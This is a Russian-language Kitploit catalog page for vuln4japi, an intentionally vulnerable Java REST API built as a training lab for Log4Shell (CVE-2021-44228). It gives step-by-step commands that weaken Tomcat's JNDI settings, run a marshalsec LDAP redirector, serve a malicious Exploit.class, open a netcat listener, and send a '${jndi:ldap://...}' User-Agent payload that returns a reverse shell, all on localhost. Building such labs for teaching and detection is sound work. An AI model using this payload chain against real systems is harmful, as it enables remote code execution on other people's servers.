Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/nix-xin/vuln4japi
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubnix-xin/vuln4japi

vuln4japi

Уязвимый REST API на Java для демонстрации CVE-2021-44228 (log4shell).

Репозиторий
114 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

vuln4japi

Уязвимый REST API на Java для демонстрации CVE-2021-44228 (log4shell).

Мотивация

Log4Shell потряс интернет в начале декабря 2021 года. Уязвимость нулевого дня в библиотеке логирования Apache Log4j, способная на удалённое выполнение кода (RCE), заставила организации по всему миру в спешке исправлять, патчить и смягчать последствия для своих публичных Java-приложений. Пока сообщество InfoSec объединялось, чтобы предоставлять командам безопасности непрерывный анализ и решения, сообщество Log4j активно разрабатывало патчи для устранения этой уязвимости.

Я разработал этот простой уязвимый REST API, который демонстрирует путь к удалённому выполнению кода (RCE) путём эксплуатации этой уязвимости с использованием сервера приложений Apache Tomcat. Надеюсь, эта proof of concept может быть использована для обучения ваших команд SecOps или для образования текущих и будущих разработчиков приложений. Обучайте свои команды и улучшайте свою защиту, включая, но не ограничиваясь, правила/оповещения SIEM, EDR, SOAR.

Чтобы понять рабочий процесс этой атаки, взгляните на эту графику, предоставленную Швейцарской правительственной командой реагирования на компьютерные инциденты GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png

Отказ от ответственности

Этот учебник и исходный код предоставлены исключительно в образовательных и учебных целях. Пожалуйста, используйте этично и ответственно. Этот учебник был подготовлен с предположением, что атакующий и уязвимое приложение находятся на одном компьютере. Для более реалистичного опыта распределите архитектуру и запустите уязвимое приложение на отдельном сервере, а для имитации атакующего используйте что-то вроде Kali Linux или другого дистрибутива.

Давайте начнём.

Что вам понадобится

  • Тестовая среда (ВМ или оборудование, желательно Linux для сборки и тестирования. Я использовал ВМ с Ubuntu Server)
  • Java JDK (я использовал OpenJDK 1.8.0_312)
  • Maven (инструмент сборки и управления Java-проектами; я использовал версию 3.6.3)
  • Marshalsec (Java Unmarshaller для перенаправления JNDI: https://github.com/mbechler/marshalsec)
  • Apache Tomcat 8 (я использовал версию 8.0.32: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.32/bin/)
  • Установленный Python3 (мы можем использовать модуль http.server для запуска простого локального веб-сервера для размещения нашего .class файла)
  • Вредоносный Java-класс (исходный код предоставлен в каталоге xploitz)
  • Наконец, клонируйте этот репозиторий!

Процесс - Уязвимое веб-приложение

После установки Java JDK и Maven, предполагая, что вы используете дистрибутив Linux, перейдите в каталог вашего vuln4japi и соберите проект.

Примечание: Возможно, вы захотите изменить некоторые компоненты приложения перед сборкой. Например, вы можете изменить путь к журналам log4j в файле log4j2.xml. Или вы можете захотеть изменить имя результирующего war-файла в файле pom.xml. Это полностью на ваше усмотрение.

root@kitploit:~
cd /path/to/vuln4japi
mvn clean package -DskipTests

Если вы не видите ошибок сборки, у вас должен появиться новый каталог target с вашим файлом vuln4japi.war. Хорошо, мы вернёмся к этому файлу чуть позже. Давайте кратко рассмотрим Tomcat.

В зависимости от вашей версии Java 8, в более поздних версиях 8 этот конкретный параметр (com.sun.jndi.ldap.object.trustURLCodebase) может быть установлен в false. Это фактически запрещает JNDI загружать удалённую кодовую базу через LDAP. А именно это эксплуатирует данная уязвимость. Поэтому нам нужно изменить файл catalina.properties в Tomcat, чтобы установить этот системный параметр в True, сделав Tomcat намеренно уязвимым.

После загрузки apache-tomcat-8.0.32.tar.gz для Linux распакуйте его куда-нибудь, например, в каталог /opt.

root@kitploit:~
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt

Перейдите в каталог /conf и измените catalina.properties в нижней части файла.

Примечание: Используйте ваш предпочитаемый текстовый редактор. В этом примере я использую vim.

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/conf

vim catalina.properties

# добавьте следующие системные свойства в самый конец
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true

Выйдите из текстового редактора и запустите Tomcat с помощью скрипта catalina.sh в каталоге /bin.

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start

Проверьте ваш экземпляр Apache Tomcat, перейдя на http://localhost:8080/ или с помощью простой команды cURL из интерфейса командной строки.

root@kitploit:~
curl -vv http://localhost:8080/

Если вы видите страницу приветствия в браузере или терминале, значит, всё работает. Теперь мы можем развернуть наше уязвимое приложение.

Скопируйте ваш .war файл в каталог /webapps Tomcat. Tomcat развернёт ваше приложение в горячем режиме в течение нескольких секунд.

root@kitploit:~
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps

Проверьте ваше уязвимое приложение, перейдя по URL приложения или снова используя cURL из командной строки. В браузере: http://localhost:8080/vuln4japi/api

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api

Вы должны увидеть следующее сообщение: Hi, this is a Vulnerable App!!

Теперь, когда у нас есть некоторые работающие компоненты, давайте эксплуатировать эту штуку...

Процесс - Инструменты атакующего

Marshalsec

Проект marshalsec — это отличный ресурс для детального понимания этого типа атаки. По сути, он действует как вредоносный LDAP-сервер, который затем перенаправляет любой запрос на вредоносный веб-сервер, размещающий .class файл. Я настоятельно рекомендую ознакомиться с некоторой документацией, размещённой в репозитории mbechler на Github, перед использованием marshalsec: https://github.com/mbechler/marshalsec

Если вы решите пропустить технические детали и документацию, клонируйте этот репозиторий и перейдите в его каталог. Теперь, перед сборкой этого Java-проекта, я рекомендую добавить одну строку отладки в файл LDAPRefServer.java. Этот оператор печати будет полезен при захвате LDAP-запроса от уязвимого сервера.

Используя ваш любимый текстовый редактор, отредактируйте следующий файл и добавьте строку, как показано в блоке кода ниже, в метод processSearchResult().

root@kitploit:~
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
root@kitploit:~
@Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
                // добавьте эту строку, чтобы показать полную информацию о запросе
                System.out.println("Request: " + result.getRequest());
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

После изменения файла сохраните и выйдите из текстового редактора. Теперь вы должны иметь возможность собрать проект marshalsec с помощью Maven. Вернитесь в корневой каталог папки marshalsec и выполните maven.

root@kitploit:~
mvn clean package -DskipTests

Если ошибок сборки нет, вы должны увидеть новый каталог /marshalsec/target с включённым файлом marshalsec-0.0.3-SNAPSHOT-all.jar.

Давайте настроим остальные инструменты атакующего, прежде чем запускать наш вредоносный LDAP-сервер marshalsec.

Вредоносный .class файл

Перейдите в каталог exploitz и скомпилируйте включённый файл Exploit.java.

root@kitploit:~
javac Exploit.java

Если вы не получили ошибок, у вас должен появиться файл Exploit.class.

На этом всё. У вас должно быть всё скомпилировано и запущен веб-сервер. Опять же, предполагая, что вы запускаете этот тест на Linux-сервере, вам нужно будет открыть как минимум 5 окон терминала.

Терминал 1: Запустите marshalsec

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389

Терминал 2: Перейдите в каталог xploitz, где находится ваш Exploit.class, и запустите локальный Python-сервер.

root@kitploit:~
python3 -m http.server 8081

Терминал 3: Выполните tail для файла /tmp/logs/vuln4jpi_log4j.log, чтобы отслеживать запросы к вашему уязвимому приложению.

root@kitploit:~
tail -f /tmp/logs/vuln4japi_log4j.log

Терминал 4: Откройте прослушиватель netcat на порту 8001. Это будет обратное соединение с тем же хостом, конечно. Помните, мы делаем всё это на одном хосте. Для реального опыта попробуйте использовать 2 или 3 разных компьютера.

root@kitploit:~
nc -lv 8001

Терминал 5: Отправьте вашу полезную нагрузку с помощью простой команды cURL.

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'

Если всё работает как ожидалось, у вас должна появиться оболочка, переданная вашему прослушивателю netcat на порту 8001. Просмотрите все окна терминалов и наблюдайте за поведением в каждом из них, ища опечатки или синтаксические ошибки. Здесь происходит много всего, поэтому человеческая ошибка всегда возможна. Попробуйте несколько раз, пока не освоитесь. Возможно, вам придётся немного изменить исходный код, но, эй, так мы и учимся. ;-)

Надеюсь, вам понравится учиться на этом проекте так же, как мне понравилось его собирать. Найдите меня в twitter @offswitchsec, если у вас есть отзывы или комментарии. Приятного времяпрепровождения и удачного взлома!

Скачать инструмент